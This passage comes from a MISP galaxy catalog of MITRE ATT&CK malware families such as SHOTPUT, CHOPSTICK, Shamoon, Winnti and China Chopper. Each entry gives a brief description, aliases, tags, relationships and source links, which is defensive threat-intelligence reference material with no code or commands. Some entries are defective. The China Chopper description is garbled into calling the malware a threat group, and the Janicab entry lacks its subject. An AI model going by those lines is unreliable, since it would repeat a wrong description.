SHOTPUT is a custom backdoor used by APT3.[[Citation: FireEye Clandestine Wolf]]

Aliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi

The tag is: *misp-galaxy:mitre-malware="SHOTPUT"*

SHOTPUT is also known as:

- SHOTPUT
- Backdoor.APT.CookieCutter
- Pirpi

SHOTPUT has relationships with:

- similar: misp-galaxy:tool="Pirpi" with estimative-language:likelihood-probability="likely"

Table 2496. Table References

Links
https://attack.mitre.org/wiki/Software/S0063
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html

Trojan.Karagany

Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums.[[Citation: Symantec Dragonfly]]

The tag is: *misp-galaxy:mitre-malware="Trojan.Karagany"*

Table 2497. Table References

Links
https://attack.mitre.org/wiki/Software/S0094
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf

Kasidet

Kasidet is a backdoor that has been dropped by using malicious VBA macros.[[Citation: Zscaler Kasidet]]

The tag is: *misp-galaxy:mitre-malware="Kasidet"*

Kasidet has relationships with:

- similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"

Table 2498. Table References

Links
https://attack.mitre.org/wiki/Software/S0088
http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html

CHOPSTICK

CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases.[[Citation: FireEye APT28]][[Citation: ESET Sednit Part 2]][[Citation: FireEye APT28 January 2017]]

Aliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp

The tag is: *misp-galaxy:mitre-malware="CHOPSTICK"*

CHOPSTICK is also known as:

- CHOPSTICK
- SPLM
- Xagent
- X-Agent
- webhp

CHOPSTICK has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="X-Agent - MOB-S0030" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent" with estimative-language:likelihood-probability="likely"

Table 2499. Table References

Links
https://attack.mitre.org/wiki/Software/S0023
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf

MiniDuke

MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke.[[Citation: F-Secure The Dukes]]

The tag is: *misp-galaxy:mitre-malware="MiniDuke"*

Table 2500. Table References

Links
https://attack.mitre.org/wiki/Software/S0051
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

BBSRAT

BBSRAT is malware with remote access tool functionality that has been used in targeted compromises.[[Citation: Palo Alto Networks BBSRAT]]

The tag is: *misp-galaxy:mitre-malware="BBSRAT"*

BBSRAT has relationships with:

- similar: misp-galaxy:malpedia="BBSRAT" with estimative-language:likelihood-probability="likely"

Table 2501. Table References

Links

https://attack.mitre.org/wiki/Software/S0127
http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/

Elise

Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU.[[Citation: Lotus Blossom Jun 2015]]

Aliases: Elise, BKDR_ESILE, Page

The tag is: *misp-galaxy:mitre-malware="Elise"*

Elise is also known as:

- Elise
- BKDR_ESILE
- Page

Elise has relationships with:

- similar: misp-galaxy:tool="Elise Backdoor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"

Table 2502. Table References

Links
https://attack.mitre.org/wiki/Software/S0081
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html

BISCUIT

BISCUIT is a backdoor that has been used by APT1 since as early as 2007.[[Citation: Mandiant APT1]]

The tag is: *misp-galaxy:mitre-malware="BISCUIT"*

BISCUIT has relationships with:

- similar: misp-galaxy:tool="BISCUIT" with estimative-language:likelihood-probability="likely"

Table 2503. Table References

Links
https://attack.mitre.org/wiki/Software/S0017
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Uroburos

Uroburos is a rootkit used by Turla.[[Citation: Kaspersky Turla]]

The tag is: *misp-galaxy:mitre-malware="Uroburos"*

Uroburos has relationships with:

- similar: misp-galaxy:tool="Turla" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Uroburos" with estimative-language:likelihood-probability="likely"

Table 2504. Table References

Links
https://attack.mitre.org/wiki/Software/S0022
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/

POWERSOURCE

POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped.[[Citation: FireEye FIN7 March 2017]][[Citation: Cisco DNSMessenger March 2017]]

Aliases: POWERSOURCE, DNSMessenger

The tag is: *misp-galaxy:mitre-malware="POWERSOURCE"*

POWERSOURCE is also known as:

- POWERSOURCE
- DNSMessenger

POWERSOURCE has relationships with:

- similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"

Table 2505. Table References

Links

https://attack.mitre.org/wiki/Software/S0145
http://blog.talosintelligence.com/2017/03/dnsmessenger.html
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html

hcdLoader

hcdLoader is a remote access tool (RAT) that has been used by APT18.[[Citation: Dell Lateral Movement]]

The tag is: *misp-galaxy:mitre-malware="hcdLoader"*

hcdLoader has relationships with:

- similar: misp-galaxy:rat="hcdLoader" with estimative-language:likelihood-probability="likely"

Table 2506. Table References

Links
https://attack.mitre.org/wiki/Software/S0071
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/

Zeroaccess

Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain.[[Citation: Sophos ZeroAccess]]

Aliases: Zeroaccess, Trojan.Zeroaccess

The tag is: *misp-galaxy:mitre-malware="Zeroaccess"*

Zeroaccess is also known as:

- Zeroaccess
- Trojan.Zeroaccess

Table 2507. Table References

Links
https://attack.mitre.org/wiki/Software/S0027
https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf

Skeleton Key

Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password.Skeleton Key is included as a module in Mimikatz.

The tag is: *misp-galaxy:mitre-malware="Skeleton Key"*

Table 2508. Table References

Links
https://attack.mitre.org/wiki/Software/S0007
http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/

Shamoon

Shamoon is malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states.[[Citation: FireEye Shamoon Nov 2016]][[Citation: Palo Alto Shamoon Nov 2016]]

Aliases: Shamoon, Disttrack

The tag is: *misp-galaxy:mitre-malware="Shamoon"*

Shamoon is also known as:

- Shamoon
- Disttrack

Shamoon has relationships with:

- similar: misp-galaxy:tool="Shamoon" with estimative-language:likelihood-probability="likely"

Table 2509. Table References

Links
https://attack.mitre.org/wiki/Software/S0140
https://www.fireeye.com/blog/threat-research/2016/11/fireeye%20respondsto.html
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/

4H RAT

4H RAT is malware that has been used by Putter Panda since at least 2007.[[Citation: CrowdStrike Putter Panda]]

The tag is: *misp-galaxy:mitre-malware="4H RAT"*

4H RAT has relationships with:

- similar: misp-galaxy:rat="4H RAT" with estimative-language:likelihood-probability="likely"

Table 2510. Table References

Links
https://attack.mitre.org/wiki/Software/S0065
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

BOOTRASH

BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.[[Citation: MTrends 2016]]

The tag is: *misp-galaxy:mitre-malware="BOOTRASH"*

Table 2511. Table References

Links
https://attack.mitre.org/wiki/Software/S0114
https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf

China Chopper

China Chopper is a Threat Group-3390.[[Citation: Dell TG-3390]]

The tag is: *misp-galaxy:mitre-malware="China Chopper"*

Table 2512. Table References

Links
https://attack.mitre.org/wiki/Software/S0020
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html

Wiper

Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies.[[Citation: Dell Wiper]]

The tag is: *misp-galaxy:mitre-malware="Wiper"*

Table 2513. Table References

Links
https://attack.mitre.org/wiki/Software/S0041
http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/

Unknown Logger

Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign.[[Citation: Forcepoint Monsoon]]

The tag is: *misp-galaxy:mitre-malware="Unknown Logger"*

Table 2514. Table References

Links
https://attack.mitre.org/wiki/Software/S0130
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

gh0st

gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups.[[Citation: FireEye Hacking Team]]

The tag is: *misp-galaxy:mitre-malware="gh0st"*

gh0st has relationships with:

- similar: misp-galaxy:tool="gh0st" with estimative-language:likelihood-probability="likely"

Table 2515. Table References

Links
https://attack.mitre.org/wiki/Software/S0032
https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html

CORESHELL

CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]

Aliases: CORESHELL, SOURFACE

The tag is: *misp-galaxy:mitre-malware="CORESHELL"*

CORESHELL is also known as:

- CORESHELL
- SOURFACE

CORESHELL has relationships with:

- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"

Table 2516. Table References

Links
https://attack.mitre.org/wiki/Software/S0137
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf

Remsec

Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.[[Citation: Symantec Strider Blog]]

Aliases: Remsec, Backdoor.Remsec, ProjectSauron

The tag is: *misp-galaxy:mitre-malware="Remsec"*

Remsec is also known as:

- Remsec
- Backdoor.Remsec
- ProjectSauron

Remsec has relationships with:

- similar: misp-galaxy:malpedia="Remsec" with estimative-language:likelihood-probability="likely"

Table 2517. Table References

Links
https://attack.mitre.org/wiki/Software/S0125
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets

FLASHFLOOD

FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]

The tag is: *misp-galaxy:mitre-malware="FLASHFLOOD"*

Table 2518. Table References

Links
https://attack.mitre.org/wiki/Software/S0036
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

TINYTYPHON

TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm.[[Citation: Forcepoint Monsoon]]

The tag is: *misp-galaxy:mitre-malware="TINYTYPHON"*

Table 2519. Table References

Links
https://attack.mitre.org/wiki/Software/S0131
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

SeaDuke

SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar.[[Citation: F-Secure The Dukes]]

Aliases: SeaDuke, SeaDaddy, SeaDesk

The tag is: *misp-galaxy:mitre-malware="SeaDuke"*

SeaDuke is also known as:

- SeaDuke
- SeaDaddy
- SeaDesk

SeaDuke has relationships with:

- similar: misp-galaxy:malpedia="SeaDaddy" with estimative-language:likelihood-probability="likely"

Table 2520. Table References

Links
https://attack.mitre.org/wiki/Software/S0053
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

Janicab

is an OS X trojan that relied on a valid developer ID and oblivious users to install it.[[Citation: Janicab]]

The tag is: *misp-galaxy:mitre-malware="Janicab"*

Janicab has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Janicab - S0163" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Janicab" with estimative-language:likelihood-probability="likely"

Table 2521. Table References

Links
https://attack.mitre.org/wiki/Software/S0163
http://www.thesafemac.com/new-signed-malware-called-janicab/

ADVSTORESHELL

ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.[[Citation: Kaspersky Sofacy]][[Citation: ESET Sednit Part 2]]

Aliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco

The tag is: *misp-galaxy:mitre-malware="ADVSTORESHELL"*

ADVSTORESHELL is also known as:

- ADVSTORESHELL
- NETUI
- EVILTOSS
- AZZY
- Sedreco

ADVSTORESHELL has relationships with:

- similar: misp-galaxy:tool="EVILTOSS" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"

Table 2522. Table References

Links
https://attack.mitre.org/wiki/Software/S0045
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/

S-Type

S-Type is a backdoor that was used by Dust Storm from 2013 to 2014.[[Citation: Cylance Dust Storm]]

The tag is: *misp-galaxy:mitre-malware="S-Type"*

Table 2523. Table References

Links
https://attack.mitre.org/wiki/Software/S0085
https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512

NetTraveler

NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013.[[Citation: Kaspersky NetTraveler]]

The tag is: *misp-galaxy:mitre-malware="NetTraveler"*

NetTraveler has relationships with:

- similar: misp-galaxy:tool="NetTraveler" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="NetTraveler" with estimative-language:likelihood-probability="likely"

Table 2524. Table References

Links
https://attack.mitre.org/wiki/Software/S0033
http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf

Dyre

Dyre is a Trojan that usually targets banking information.[[Citation: Raff 2015]]

The tag is: *misp-galaxy:mitre-malware="Dyre"*

Dyre has relationships with:

- similar: misp-galaxy:banker="Dyre" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"

Table 2525. Table References

Links

https://attack.mitre.org/wiki/Software/S0024
http://www.seculert.com/blogs/new-dyre-version-yet-another-malware-evading-sandboxes

P2P ZeuS

P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture.[[Citation: Dell P2P ZeuS]]

Aliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS

The tag is: *misp-galaxy:mitre-malware="P2P ZeuS"*

P2P ZeuS is also known as:

- P2P ZeuS
- Peer-to-Peer ZeuS
- Gameover ZeuS

Table 2526. Table References

Links
https://attack.mitre.org/wiki/Software/S0016
http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/

ComRAT

ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.[[Citation: Symantec Waterbug]][[Citation: NorthSec 2015 GData Uroburos Tools]]

The tag is: *misp-galaxy:mitre-malware="ComRAT"*

ComRAT has relationships with:

- similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 2527. Table References

Links
https://attack.mitre.org/wiki/Software/S0126
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/waterbug-attack-group.pdf
https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf

Winnti

Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware.[[Citation: Kaspersky Winnti April 2013]][[Citation: Microsoft Winnti Jan 2017]][[Citation: Novetta Winnti April 2015]]

The tag is: *misp-galaxy:mitre-malware="Winnti"*

Winnti has relationships with:

- similar: misp-galaxy:tool="Winnti" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Winnti" with estimative-language:likelihood-probability="likely"

Table 2528. Table References

Links
https://attack.mitre.org/wiki/Software/S0141
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/

RedLeaves

RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus.[[Citation: PWC Cloud Hopper Technical Annex April 2017]][[Citation: FireEye APT10 April 2017]]

Aliases: RedLeaves, BUGJUICE

The tag is: *misp-galaxy:mitre-malware="RedLeaves"*

RedLeaves is also known as:

- RedLeaves
- BUGJUICE

RedLeaves has relationships with:

- similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

Table 2529. Table References

Links
https://attack.mitre.org/wiki/Software/S0153
https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

RTM

RTM is custom malware written in Delphi. It is used by the group of the same name (RTM).[[Citation: ESET RTM Feb 2017]]

The tag is: *misp-galaxy:mitre-malware="RTM"*

RTM has relationships with:

- similar: misp-galaxy:malpedia="RTM" with estimative-language:likelihood-probability="likely"

Table 2530. Table References

Links
https://attack.mitre.org/wiki/Software/S0148
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

CallMe

CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell.[[Citation: Scarlet Mimic Jan 2016]]

The tag is: *misp-galaxy:mitre-malware="CallMe"*

Table 2531. Table References

Links
https://attack.mitre.org/wiki/Software/S0077
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

HIDEDRV

HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware.[[Citation: ESET Sednit Part 3]][[Citation: Sekoia HideDRV Oct 2016]]

The tag is: *misp-galaxy:mitre-malware="HIDEDRV"*

Table 2532. Table References

Links
https://attack.mitre.org/wiki/Software/S0135
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf

Mis-Type

Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012.[[Citation: Cylance Dust Storm]]

The tag is: *misp-galaxy:mitre-malware="Mis-Type"*

Table 2533. Table References

Links
https://attack.mitre.org/wiki/Software/S0084
https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512

Hikit

Hikit is malware that has been used by Axiom for late-stage and after the initial compromise.[[Citation: Axiom]]

The tag is: *misp-galaxy:mitre-malware="Hikit"*

Hikit has relationships with:

- similar: misp-galaxy:tool="Hikit" with estimative-language:likelihood-probability="likely"

Table 2534. Table References

Links
https://attack.mitre.org/wiki/Software/S0009
http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf

EvilGrab

EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns.[[Citation: PWC Cloud Hopper Technical Annex April 2017]]

The tag is: *misp-galaxy:mitre-malware="EvilGrab"*

EvilGrab has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="EvilGrab - S0152" with estimative-

language:likelihood-probability="likely"

- similar: misp-galaxy:tool="EvilGrab" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"

Table 2535. Table References

Links
https://attack.mitre.org/wiki/Software/S0152
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

ASPXSpy

ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version.[[Citation: Dell TG-3390]]

Aliases: ASPXSpy, ASPXTool

The tag is: *misp-galaxy:mitre-malware="ASPXSpy"*

ASPXSpy is also known as:

- ASPXSpy
- ASPXTool

Table 2536. Table References

Links
https://attack.mitre.org/wiki/Software/S0073
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/

Sykipot

Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims.[[Citation: Alienvault Sykipot DOD Smart Cards]] The group using this malware has also been referred to as Sykipot.[[Citation: Blasco 2013]]

The tag is: *misp-galaxy:mitre-malware="Sykipot"*

Table 2537. Table References

Links
https://attack.mitre.org/wiki/Software/S0018
http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments

https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards

GLOOXMAIL

GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic.[[Citation: Mandiant APT1]]

Aliases: GLOOXMAIL, Trojan.GTALK

The tag is: *misp-galaxy:mitre-malware="GLOOXMAIL"*

GLOOXMAIL is also known as:

- GLOOXMAIL
- Trojan.GTALK

GLOOXMAIL has relationships with:

- similar: misp-galaxy:tool="GLOOXMAIL" with estimative-language:likelihood-probability="likely"

Table 2538. Table References

Links
https://attack.mitre.org/wiki/Software/S0026
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Emissary

Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio.[[Citation: Lotus Blossom Dec 2015]]

The tag is: *misp-galaxy:mitre-malware="Emissary"*

Table 2539. Table References

Links
https://attack.mitre.org/wiki/Software/S0082
http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/

Miner-C

Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread.[[Citation: Softpedia MinerC]]

Aliases: Miner-C, Mal/Miner-C, PhotoMiner

The tag is: *misp-galaxy:mitre-malware="Miner-C"*

Miner-C is also known as:

- Miner-C
- Mal/Miner-C
- PhotoMiner

Table 2540. Table References

Links
https://attack.mitre.org/wiki/Software/S0133
http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml

KOMPROGO

KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management.[[Citation: FireEye APT32 May 2017]]

The tag is: *misp-galaxy:mitre-malware="KOMPROGO"*

KOMPROGO has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="KOMPROGO - S0156" with estimative-language:likelihood-probability="likely"

Table 2541. Table References

Links
https://attack.mitre.org/wiki/Software/S0156
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

DustySky

DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.[[Citation: DustySky]][[Citation: DustySky2]]

Aliases: DustySky, NeD Worm

The tag is: *misp-galaxy:mitre-malware="DustySky"*

DustySky is also known as:

- DustySky
- NeD Worm

DustySky has relationships with:

- similar: misp-galaxy:tool="NeD Worm" with estimative-language:likelihood-probability="likely"

Table 2542. Table References

Links
https://attack.mitre.org/wiki/Software/S0062
http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf

BUBBLEWRAP

BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.[[Citation: FireEye admin@338]]

Aliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper

The tag is: *misp-galaxy:mitre-malware="BUBBLEWRAP"*

BUBBLEWRAP is also known as:

- BUBBLEWRAP
- Backdoor.APT.FakeWinHTTPHelper

Table 2543. Table References

Links
https://attack.mitre.org/wiki/Software/S0043
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

pngdowner

pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and- execute" utility.[[Citation: CrowdStrike Putter Panda]]

The tag is: *misp-galaxy:mitre-malware="pngdowner"*

pngdowner has relationships with:

- similar: misp-galaxy:malpedia="pngdowner" with estimative-language:likelihood-probability="likely"

Table 2544. Table References

Links
https://attack.mitre.org/wiki/Software/S0067
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

SslMM

SslMM is a full-featured backdoor used by Naikon that has multiple variants.[[Citation: Baumgartner Naikon 2015]]

The tag is: *misp-galaxy:mitre-malware="SslMM"*

SslMM has relationships with:

- similar: misp-galaxy:malpedia="SslMM" with estimative-language:likelihood-probability="likely"

Table 2545. Table References

Links
https://attack.mitre.org/wiki/Software/S0058
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

Nidiran

Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise.[[Citation: Symantec Suckfly March 2016]]

Aliases: Nidiran, Backdoor.Nidiran

The tag is: *misp-galaxy:mitre-malware="Nidiran"*

Nidiran is also known as:

- Nidiran
- Backdoor.Nidiran

Table 2546. Table References

Links
https://attack.mitre.org/wiki/Software/S0118
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates

Trojan.Mebromi

Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR.[[Citation: Ge 2011]]

The tag is: *misp-galaxy:mitre-malware="Trojan.Mebromi"*

Table 2547. Table References

Links

https://attack.mitre.org/wiki/Software/S0001
http://www.symantec.com/connect/blogs/bios-threat-showing-again

OwaAuth

OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390.[[Citation: Dell TG-3390]]

The tag is: *misp-galaxy:mitre-malware="OwaAuth"*

Table 2548. Table References

Links
https://attack.mitre.org/wiki/Software/S0072
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/

ROCKBOOT

ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group.[[Citation: FireEye Bootkits]]

The tag is: *misp-galaxy:mitre-malware="ROCKBOOT"*

Table 2549. Table References

Links
https://attack.mitre.org/wiki/Software/S0112
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html

SNUGRIDE

SNUGRIDE is a backdoor that has been used by menuPass as first stage malware.[[Citation: FireEye APT10 April 2017]]

The tag is: *misp-galaxy:mitre-malware="SNUGRIDE"*

SNUGRIDE has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="SNUGRIDE - S0159" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SNUGRIDE" with estimative-language:likelihood-probability="likely"

Table 2550. Table References

Links
https://attack.mitre.org/wiki/Software/S0159

https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html

OnionDuke

OnionDuke is malware that was used by APT29 from 2013 to 2015.[[Citation: F-Secure The Dukes]]

The tag is: *misp-galaxy:mitre-malware="OnionDuke"*

OnionDuke has relationships with:

- similar: misp-galaxy:malpedia="OnionDuke" with estimative-language:likelihood-probability="likely"

Table 2551. Table References

Links
